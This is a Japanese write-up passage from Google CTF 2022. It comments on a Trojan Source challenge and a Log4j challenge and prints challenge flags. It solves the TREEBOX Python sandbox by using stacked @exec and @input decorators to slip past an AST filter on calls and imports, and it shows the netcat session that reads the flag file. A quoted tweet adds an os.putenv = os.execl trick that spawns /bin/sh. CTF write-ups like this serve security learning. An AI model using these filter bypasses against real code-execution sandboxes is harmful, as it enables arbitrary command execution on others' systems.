Trojan Sourceか。「Trojan Sourceで問題を作れないかな?」「エディタによっては簡単に解けちゃうから無理じゃない?」というような話をしたことがあったけれど、2桁チームしか解けない問題が作れるとは。文字の仕様が分かっていないけれど、フラグを見るに、これはコメントのように見せるエディタが悪いのではなく、これでコメントから脱出してしまうブラウザが悪いのか?
CTF{W0w_5ucH_N1c3_d3bU9_sK1lLz_Br0w53R_Bu9s_C4Nt_s70p_Y0u}
web
1問も解けず……。
LOG4J
100チーム以上解いているので解きたかった。
一瞬Log4Shellするだけの問題かと思ったけれど、Google CTFでそんな問題が出るはずもなく、Log4jは最新版だった。
sandbox
TREEBOX
Pythonの compile
関数のASTで出力する機能を使って、 import
と from ... import
と関数呼び出しを弾いている。
ところで、Pythonのデコレーターはだいたい関数呼び出しである。
例えば、以下のようなコード:
@f1(arg) @f2 def func(): pass
は、だいたい次と等価です
def func(): pass func = f1(arg)(f2(func))
ちなみに、f1
のような書き方は関数呼び出し判定だった。
$ nc treebox.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
-- Please enter code (last line must contain only --END)
@exec
@input
def f():
pass
--END
-- Executing safe code:
<function f at 0x7f7eaab520e0>print(open("flag").read())
CTF{CzeresniaTopolaForsycja}
別解。なるほど。
Google ctf
— p0wnxy (@drib__) July 3, 2022
[misc]treebox
pythonのimportとcallを使わずに任意実行する問題
os.environ使って環境変数追加する時os.putenvが呼ばれることを使った
os.putenv = os.execl
os.environ["/bin/sh"] = "/bin/sh"
CTF{CzeresniaTopolaForsycja}